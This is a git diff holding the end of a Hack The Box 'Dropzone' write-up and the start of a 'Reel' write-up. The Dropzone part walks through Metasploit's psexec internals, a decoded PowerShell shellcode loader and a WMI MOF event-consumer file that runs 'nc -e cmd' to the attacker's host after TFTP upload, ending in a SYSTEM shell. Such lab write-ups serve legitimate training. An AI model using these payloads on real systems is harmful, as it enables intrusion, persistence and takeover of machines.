/usr/share/metasploit-framework/tools/exploit/psexec.rb + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone] + → cp /usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb . + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone] + → vim psexec.rb + + + +And let's inspect what it does: + +![](prg/10/1.png) + +Here we're going to check the powershell part because older windows machines didn't have powershell, which is why most people stepped into a rabbithole by not inspecting what the exploit did exactly, so we're going to check what that execute_powershell_payload function does by looking at where it is actually defined: + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone] + → locate psexec | grep metasploit | xargs grep execute_powershell + **/usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb: def execute_powershell_payload** + /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb: execute_powershell_payload + /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb: execute_powershell_payload + /usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb: execute_powershell_payload + /usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb: execute_powershell_payload + + + +So here we see the function is defined in the first result: + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone] + → cp /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb . + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone] + → nano psexec.rb + + + +And here it is, so first of all this function executes cmd_psh_payload() which takes in 2 arguements, payload.encoded and the architecture (x86 or x64): + + + def execute_powershell_payload + ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") + end + + # Execute the powershell command + print_status("Executing the payload...") + begin + psexec(command) + rescue StandardError => exec_command_error + fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + end + end + + + +Now let's generate this cmd_psh_payload() from metasploit's interactive ruby (which is like a debugger feature) + + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone] + → msfconsole + + , , + / \ + ((__---,,,---__)) + (_) O O (_)_________ + \ _ / |\ + o_o \ M S F | \ + \ _____ | * + ||| WW||| + ||| ||| + + + =[ metasploit v6.0.22-dev ] + + -- --=[ 2086 exploits - 1126 auxiliary - 354 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 7 evasion ] + + Metasploit tip: Metasploit can be configured at startup, see + msfconsole --help to learn more + + msf6 > search psexec + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution + 1 auxiliary/admin/smb/psexec_ntdsgrab normal No PsExec NTDS.dit And SYSTEM Hive Download Utility + 2 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal No DCOM Exec + 3 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal No WMI Exec + 4 auxiliary/scanner/smb/psexec_loggedin_users normal No Microsoft Windows Authenticated Logged In Users Enumeration + 5 encoder/x86/service manual No Register Service + 6 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token + 7 exploit/windows/local/wmi 1999-01-01 excellent No Windows Management Instrumentation (WMI) Remote Command Execution + 8 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution + 9 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution + 10 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution + + + Interact with a module by name or index. For example info 10, use 10 or use exploit/windows/smb/webexec + + msf6 > use exploit/windows/smb/psexec + [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp + msf6 exploit(windows/smb/psexec) > show options + + Module options (exploit/windows/smb/psexec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 445 yes The SMB service port (TCP) + SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing + SERVICE_DISPLAY_NAME no The service display name + SERVICE_NAME no The service name + SHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share + SMBDomain . no The Windows domain to use for authentication + SMBPass no The password for the specified username + SMBUser no The username to authenticate as + + + Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.0.18 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Automatic + + + msf6 exploit(windows/smb/psexec) > irb + [*] Starting IRB shell... + [*] You are in exploit/windows/smb/psexec + + + +So here we are in interactive ruby + + + + msf6 exploit(windows/smb/psexec) > irb + [*] Starting IRB shell... + [*] You are in exploit/windows/smb/psexec + + >> + + >> cmd_psh_payload("IppsecRocks","x86") + => "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIABRp4F8CA7VW+2vbSBD+OYH8D0sRaAWKcJNSaCBwtlO3aWPHrfK6uuLYSCN709Wuu7tKo/b6v9+sHolDnbukcMLgfczzm29GykuZWq4kWbyPY/Jja3NjyjQrCPUyNSwnIfFSNTp5H2xs4JUnpLgg+4TO+svlgSoYl8ne3rDUGqRt9tEbsH1joLgUHAwNyN/kfAEato8vryC15Afx/oreCHXJRCtWDVm6ALLdl5m7O1IpcwFF8VJwS/3Pn/1gtv08iV5/LZkw1I8rY6GIMiH8gPwMnMOTagnUH/NUK6NyG51zubsTnUrDcpigtWsYg12ozPgBZoE/DbbUktT5OAPNNfVxOdUq7WeZBmP8kMyc6VmS/EFnrd+PpbS8gOhQWtBqGYO+5imY6C2TmYCPkCeoFVvN5TwJAhS7Vl+AerIUIiRPMUMn8K1D7bFKdFUJpaZWByHWck2eY5WVAhpNf02gTf0DfG45gOD93Nrc2sw7ztjs6yplcLUxq9eA8dGpMrwW2ye9kIzRE7NKV7j1TnQJQXKLLvHmFx9Y+LD+804YRQt99QGPZmeKZwmqtCX1qnfu9GFiHkDOJRxUkhU87bhH16EMuYA6wagTm2BI1G8vIDsAAXNmHW6u2L+ovS64vdUdlFxkoPspVspgVFjE4H4wTSmofyjHUCBCzR7Z5+XIeOikW5ZXnXe3RyF/KJgxIZmW2HJpSGJgArKQ9KXh7VW/tKpe+nfhjkthecqM7cwlQYNi622opLG6TLFkmPlJvISUM+GACMlbnsGgivm88+qvhWHIhMA2QEvXWAY8cenH1hFBY4B10YMoBntYLAUUKFN3/kiwOfZ5S/aaOWwOmX8/vo7KDW8dDh0AK9FhcWOhbEjOuLY4Phymjj+/53xlcGAYQw1tEWjXGLNBZR2fPVOeOjK2kNQAaIvJj7QqBszAyxfNhKDP4ovBt3Tn7Oq0eHXFdsf7z5wj9OR9T4/+XLHxUOuPmTYLJtA29nRXypHSo7ZHp4o7DUrr+f4FtASBsxGnZ4dJXwiVuinhuhkHVDM23BQ7xeXuztpVQG4Fg7vh0R3t7X3CIBFkxCE6Ajm3i7B3s9vr4Rzo3bzoYY6Pz2uolhV1lkI3RmpcWsuithw45L3FRfH/otWWe4F/2X+gdXf2L7ePQrAXNvn+cnz/4El4Pjnzc8YtSsbIVwHNqFwLQMuMlXcJFgXrnreP+xY4Lu32BN8wW5v/APpkNmh5CAAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\"" + + + +And here we have generated our powershell payload containing the "IppsecRocks" command, for the "x86" architecture. So first of all it compresses as gzip and base64 encodes our payload : + +![](prg/10/2.png) + +Now we copy that base64 string and echo it out of it's base64 encryption to a file which we know is gzip: + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → echo 'H4sIABRp4F8CA7VW+2vbSBD+OYH8D0sRaAWKcJNSaCBwtlO3aWPHrfK6uuLYSCN709Wuu7tKo/b6v9+sHolDnbukcMLgfczzm29GykuZWq4kWbyPY/Jja3NjyjQrCPUyNSwnIfFSNTp5H2xs4JUnpLgg+4TO+svlgSoYl8ne3rDUGqRt9tEbsH1joLgUHAwNyN/kfAEato8vryC15Afx/oreCHXJRCtWDVm6ALLdl5m7O1IpcwFF8VJwS/3Pn/1gtv08iV5/LZkw1I8rY6GIMiH8gPwMnMOTagnUH/NUK6NyG51zubsTnUrDcpigtWsYg12ozPgBZoE/DbbUktT5OAPNNfVxOdUq7WeZBmP8kMyc6VmS/EFnrd+PpbS8gOhQWtBqGYO+5imY6C2TmYCPkCeoFVvN5TwJAhS7Vl+AerIUIiRPMUMn8K1D7bFKdFUJpaZWByHWck2eY5WVAhpNf02gTf0DfG45gOD93Nrc2sw7ztjs6yplcLUxq9eA8dGpMrwW2ye9kIzRE7NKV7j1TnQJQXKLLvHmFx9Y+LD+804YRQt99QGPZmeKZwmqtCX1qnfu9GFiHkDOJRxUkhU87bhH16EMuYA6wagTm2BI1G8vIDsAAXNmHW6u2L+ovS64vdUdlFxkoPspVspgVFjE4H4wTSmofyjHUCBCzR7Z5+XIeOikW5ZXnXe3RyF/KJgxIZmW2HJpSGJgArKQ9KXh7VW/tKpe+nfhjkthecqM7cwlQYNi622opLG6TLFkmPlJvISUM+GACMlbnsGgivm88+qvhWHIhMA2QEvXWAY8cenH1hFBY4B10YMoBntYLAUUKFN3/kiwOfZ5S/aaOWwOmX8/vo7KDW8dDh0AK9FhcWOhbEjOuLY4Phymjj+/53xlcGAYQw1tEWjXGLNBZR2fPVOeOjK2kNQAaIvJj7QqBszAyxfNhKDP4ovBt3Tn7Oq0eHXFdsf7z5wj9OR9T4/+XLHxUOuPmTYLJtA29nRXypHSo7ZHp4o7DUrr+f4FtASBsxGnZ4dJXwiVuinhuhkHVDM23BQ7xeXuztpVQG4Fg7vh0R3t7X3CIBFkxCE6Ajm3i7B3s9vr4Rzo3bzoYY6Pz2uolhV1lkI3RmpcWsuithw45L3FRfH/otWWe4F/2X+gdXf2L7ePQrAXNvn+cnz/4El4Pjnzc8YtSsbIVwHNqFwLQMuMlXcJFgXrnreP+xY4Lu32BN8wW5v/APpkNmh5CAAA' | base64 -d > payload.z + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → file payload.z + payload.z: gzip compressed data, last modified: Mon Dec 21 09:21:24 2020, max compression, from Unix, original size modulo 2^32 2169 + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → zcat payload.z > payload.powershell + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → zcat payload.z + function hKSS { + Param ($doCuN, $coFTK) + $lnlX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + + return $lnlX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($lnlX.GetMethod('GetModuleHandle')).Invoke($null, @($doCuN)))), $coFTK)) + } + + function tdq { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gXQa, + [Parameter(Position = 1)] [Type] $mrjQ = [Void] + ) + + $yJ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $yJ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gXQa).SetImplementationFlags('Runtime, Managed') + $yJ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $mrjQ, $gXQa).SetImplementationFlags('Runtime, Managed') + + return $yJ.CreateType() + } + + [Byte[]]$suU = [System.Convert]::**FromBase64String("SXBwc2VjUm9ja3M=")** + + $zcLY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll VirtualAlloc), (tdq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $suU.Length,0x3000, 0x40) + [System.Runtime.InteropServices.Marshal]::Copy($suU, 0, $zcLY, $suU.length) + + $hXm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll CreateThread), (tdq @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zcLY,[IntPtr]::Zero,0,[IntPtr]::Zero) + [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll WaitForSingleObject), (tdq @([IntPtr], [Int32]))).Invoke($hXm,0xffffffff) | Out-Null + + + +So here we know what's the powershell payload metasploit uses and in this there's yet another base64 which is the command we wanted to execute: + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → echo "SXBwc2VjUm9ja3M=" | base64 -d + IppsecRocks + + + +So here we see everything metasploit does just to get that powershell command in. But again, this is a x86 windows machine, we don't have powershell to work with. The next option psexec would try is the SMB file upload which does not help us either because from our previous enumeration, the smb ports are not opened. What was required to do in this box, was to check each option psexec.rb does one by one until you stumble on the correct one, which was the MOF one defined as the mof_upload function: + + + def mof_upload(smb_share) + share = "\\\\#{datastore['RHOST']}\\ADMIN$" + filename = "#{Rex::Text.rand_text_alpha(8)}.exe" + + # payload as exe + print_status("Trying wbemexec...") + print_status("Uploading Payload...") + if smb_share != 'ADMIN$' + print_error('Wbem will only work with ADMIN$ share') + return + end + simple.connect(share) + exe = generate_payload_exe + fd = smb_open("\\system32\\#{filename}", 'rwct', write: true) + fd << exe + fd.close + print_status("Created %SystemRoot%\\system32\\#{filename}") + + # mof to cause execution of above + mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF" + mof = generate_mof(mofname, filename) + print_status("Uploading MOF...") + fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true) + fd << mof + fd.close + print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") + + # Disconnect from the ADMIN$ + simple.disconnect(share) + end + + +Here the smbfunction will try wbemexec , but it will work only if the smb share is ADMIN$ otherwise wbem wouldn't work. Then it connects, generates an exe payload, only to drop that meterpreter file into system32. Then lastly it uses the generate_mof() function and then uploads the generated payload into \\system32\\wbem\\mof\\ and then it just disconnects. Which means, that you get remote code execution just by dropping a file into that folder. now let's check generate_mof() from interactive ruby mode: + + + + msf6 exploit(windows/smb/psexec) > irb + [*] Starting IRB shell... + [*] You are in exploit/windows/smb/psexec + + >> generate_mof("IppsecRocks","AndIsCool") + => "#pragma namespace(\"\\\\\\\\.\\\\root\\\\cimv2\")\nclass MyClass773\n{\n \t[key] string Name;\n};\nclass ActiveScriptEventConsumer : __EventConsumer\n{\n \t[key] string Name;\n \t[not_null] string ScriptingEngine;\n \tstring ScriptFileName;\n \t[template] string ScriptText;\n uint32 KillTimeout;\n};\ninstance of __Win32Provider as $P\n{\n Name = \"ActiveScriptEventConsumer\";\n CLSID = \"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}\";\n PerUserInitialization = TRUE;\n};\ninstance of __EventConsumerProviderRegistration\n{\n Provider = $P;\n ConsumerClassNames = {\"ActiveScriptEventConsumer\"};\n};\nInstance of ActiveScriptEventConsumer as $cons\n{\n Name = \"ASEC\";\n ScriptingEngine = \"JScript\";\n ScriptText = \"\\ntry {var s = new ActiveXObject(\\\"Wscript.Shell\\\");\\ns.Run(\\\"AndIsCool\\\");} catch (err) {};\\nsv = GetObject(\\\"winmgmts:root\\\\\\\\cimv2\\\");try {sv.Delete(\\\"MyClass773\\\");} catch (err) {};try {sv.Delete(\\\"__EventFilter.Name='instfilt'\\\");} catch (err) {};try {sv.Delete(\\\"ActiveScriptEventConsumer.Name='ASEC'\\\");} catch(err) {};\";\n\n};\nInstance of ActiveScriptEventConsumer as $cons2\n{\n Name = \"qndASEC\";\n ScriptingEngine = \"JScript\";\n ScriptText = \"\\nvar objfs = new ActiveXObject(\\\"Scripting.FileSystemObject\\\");\\ntry {var f1 = objfs.GetFile(\\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\IppsecRocks\\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\\"AndIsCool\\\");\\nf2.Delete(true);\\nvar s = GetObject(\\\"winmgmts:root\\\\\\\\cimv2\\\");s.Delete(\\\"__EventFilter.Name='qndfilt'\\\");s.Delete(\\\"ActiveScriptEventConsumer.Name='qndASEC'\\\");\\n} catch(err) {};\";\n};\ninstance of __EventFilter as $Filt\n{\n Name = \"instfilt\";\n Query = \"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\\"MyClass773\\\"\";\n QueryLanguage = \"WQL\";\n};\ninstance of __EventFilter as $Filt2\n{\n Name = \"qndfilt\";\n Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\\"Win32_Process\\\" AND TargetInstance.Name = \\\"AndIsCool\\\"\";\n QueryLanguage = \"WQL\";\n\n};\ninstance of __FilterToConsumerBinding as $bind\n{\n Consumer = $cons;\n Filter = $Filt;\n};\ninstance of __FilterToConsumerBinding as $bind2\n{\n Consumer = $cons2;\n Filter = $Filt2;\n};\ninstance of MyClass773 as $MyClass\n{\n Name = \"ClassConsumer\";\n};\n" + + +Now from here we're going to print out the generate_mof() function by using ruby's puts (print) function: + + + >> puts generate_mof("IppsecRocks","AndIsCool") + #pragma namespace("\\\\.\\root\\cimv2") + class MyClass40351 + { + [key] string Name; + }; + class ActiveScriptEventConsumer : __EventConsumer + { + [key] string Name; + [not_null] string ScriptingEngine; + string ScriptFileName; + [template] string ScriptText; + uint32 KillTimeout; + }; + instance of __Win32Provider as $P + { + Name = "ActiveScriptEventConsumer"; + CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}"; + PerUserInitialization = TRUE; + }; + instance of __EventConsumerProviderRegistration + { + Provider = $P; + ConsumerClassNames = {"ActiveScriptEventConsumer"}; + }; + Instance of ActiveScriptEventConsumer as $cons + { + Name = "ASEC"; + ScriptingEngine = "JScript"; + ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"AndIsCool\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass40351\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; + + }; + Instance of ActiveScriptEventConsumer as $cons2 + { + Name = "qndASEC"; + ScriptingEngine = "JScript"; + ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\IppsecRocks\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"AndIsCool\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};"; + }; + instance of __EventFilter as $Filt + { + Name = "instfilt"; + Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass40351\""; + QueryLanguage = "WQL"; + }; + instance of __EventFilter as $Filt2 + { + Name = "qndfilt"; + Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"AndIsCool\""; + QueryLanguage = "WQL"; + + }; + instance of __FilterToConsumerBinding as $bind + { + Consumer = $cons; + Filter = $Filt; + }; + instance of __FilterToConsumerBinding as $bind2 + { + Consumer = $cons2; + Filter = $Filt2; + }; + instance of MyClass40351 as $MyClass + { + Name = "ClassConsumer"; + }; + => nil + >> + + +Now i'll copy this entire output into a file to edit: + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → mkdir psexec + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone] + → cd psexec + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → vim generated_mof + + + +Now from here, we see that our file will be located in \\\\\"wbem\\\\\\\\\\\\\\\mof\\\\\\\\\\\\\\\good\\\\\\\\\\\\\\\IppsecRocks\\\\\ and the command we're running is ns.Run(\"AndIsCool\") which is a javascript command. Essentially MOF works by compiling syntax like this into the wbem database to execute said code. The idea here is to create a "FilterToConsumerBinding" to tie together a "EventFilter" and a "ActiveScriptEventConsumer" so that the FilterToConsumerBinding detects the Filtered Event (which could simply be something like watch when this file appears in the wbem database), it will launch the Script + +(for more information about MOF check out these links: [pop pop ret mof](https://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html) and [BlackHat WMI talk from 2015 by Matt Graeber](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)) + +Now let's trim the useless parts out of our generated mof file: + + + #pragma namespace("\\\\.\\root\\cimv2") + + class MyClass40351 + { + [key] string Name; + }; + + class ActiveScriptEventConsumer : __EventConsumer + { + [key] string Name; + [not_null] string ScriptingEngine; + string ScriptFileName; + [template] string ScriptText; + uint32 KillTimeout; + }; + + instance of __Win32Provider as $P + { + Name = "ActiveScriptEventConsumer"; + CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}"; + PerUserInitialization = TRUE; + }; + + + instance of __EventConsumerProviderRegistration + { + Provider = $P; + ConsumerClassNames = {"ActiveScriptEventConsumer"}; + }; + + Instance of ActiveScriptEventConsumer as $cons + { + Name = "ASEC"; + ScriptingEngine = "JScript"; + ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"AndIsCool\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass40351\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; + + }; + + instance of __EventFilter as $Filt + { + Name = "instfilt"; + Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass40351\""; + QueryLanguage = "WQL"; + }; + + instance of __FilterToConsumerBinding as $bind + { + Consumer = $cons; + Filter = $Filt; + }; + + instance of MyClass40351 as $MyClass + { + Name = "ClassConsumer"; + }; + + + +and from here, we don't want to run the command "AndIsCool" but we want the command "nc -e cmd 10.10.14.6 9002" so from inside vim you can run the following : **:%s/AndIsCool/nc -e cmd 10.10.14.6 9002/gi** in order to replace the AndIsCool pattern matched by regex to whatever other string we want. + +![](prg/10/3.png) + +Now basically what this does is that our EventFilter will detect the creation of Class 27736, and when it gets created, it will launch the code we want (the netcat command) + + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → ls -l + total 4 + -rw-r--r-- 1 nothing nothing 1415 Dec 21 11:10 generated_mof + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → locate nc.exe + /usr/lib/mono/4.5/cert-sync.exe + /usr/share/windows-resources/binaries/nc.exe + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → cp /usr/share/windows-resources/binaries/nc.exe . + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → ls -l + total 64 + -rw-r--r-- 1 nothing nothing 1415 Dec 21 11:10 generated_mof + -rwxr-xr-x 1 nothing nothing 59392 Dec 21 11:10 nc.exe + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → file nc.exe + nc.exe: PE32 executable (console) Intel 80386, for MS Windows + + + +So now we have the correct 32bit nc.exe file we want, now let's upload it via tftp: + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → tftp 10.10.10.90 + tftp> mode binary + tftp> put nc.exe /windows/system32/nc.exe + Sent 59392 bytes in 4.3 seconds + tftp> quit + + + +We switched from ascii to binary mode to upload our nc file properly: + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [_HTB/Dropzone/psexec] + → l + total 72K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 11:10 . + drwxr-xr-x 3 nothing nothing 4.0K Dec 21 10:48 .. + -rw-r--r-- 1 nothing nothing 1.4K Dec 21 11:10 generated_mof + -rwxr-xr-x 1 nothing nothing 58K Dec 21 11:10 nc.exe + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [_HTB/Dropzone/psexec] + → tftp 10.10.10.90 + tftp> put generated_mof /windows/system32/wbem/mof/ippsecrocks.mof + + + +Here basically we want to put our mof file into the /windows/system32/wbem/mof/ directory where it will be executed automatically + +![](prg/10/4.png) + +And we get a connection! now let's try to print the root flag: + +## **Part 3 : Getting Root Access** + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.90] 1051 + Microsoft Windows XP [Version 5.1.2600] + (C) Copyright 1985-2001 Microsoft Corp. + + C:\WINDOWS\system32>type C:\Docume~1\Admini~1\Desktop\root.txt + type C:\Docume~1\Admini~1\Desktop\root.txt + It's easy, but not THAT easy... + + C:\WINDOWS\system32>type "C:\Docume~1\Admini~1\Desktop\flags\2 for the price of 1!.txt" + type "C:\Docume~1\Admini~1\Desktop\flags\2 for the price of 1!.txt" + For limited time only! + + Keep an eye on our **ADS** for new offers & discounts! + + +And from here we see that root.txt isn't there, but in the flags directory we are hinted at ADS which stands for Authenticated Data Streams, however Windows XP does not have a method to view ADS natively, so that means we're going to download the required binary [here](https://docs.microsoft.com/en-us/sysinternals/downloads/streams): + +![](prg/10/5.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → wget https://download.sysinternals.com/files/Streams.zip + --2020-12-21 11:22:51-- https://download.sysinternals.com/files/Streams.zip + Resolving download.sysinternals.com (download.sysinternals.com)... 152.199.19.160 + Connecting to download.sysinternals.com (download.sysinternals.com)|152.199.19.160|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 511505 (500K) [application/octet-stream] + Saving to: ‘Streams.zip’ + + Streams.zip 100%[===========================================================>] 499.52K --.-KB/s in 0.09s + + 2020-12-21 11:22:52 (5.67 MB/s) - ‘Streams.zip’ saved [511505/511505] + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → unzip Streams.zip + Archive: Streams.zip + inflating: streams.exe + inflating: streams64.exe + inflating: streams64a.exe + inflating: Eula.txt + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → file streams.exe + streams.exe: PE32 executable (console) Intel 80386, for MS Windows + + + +So here we're going to send the 32 bit executable obviously, and we're putting it in /windows/system32/ to avoid the need to type the absolute path everytime: + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → file streams.exe + streams.exe: PE32 executable (console) Intel 80386, for MS Windows + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec] + → tftp 10.10.10.90 + tftp> mode binary + tftp> put streams.exe /windows/system32/streams.exe + Sent 342392 bytes in 30.2 seconds + + + + + cd C:\docume~1\administrator\desktop\flags\ + streams -accepteula + streams 2* + + + +And there we have it! + +![](prg/10/6.png) + +And that's it ! we have been able to get both flags for this box. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/10_graph.png) + diff --git a/Hard/11.md b/Hard/11.md new file mode 100644 index 0000000..3a45bb9 --- /dev/null +++ b/Hard/11.md @@ -0,0 +1,868 @@ +# Reel Writeup + +![](img/11.png) + +## Introduction : + +Reel is a hard windows box released back in June 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.77 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 135/tcp on 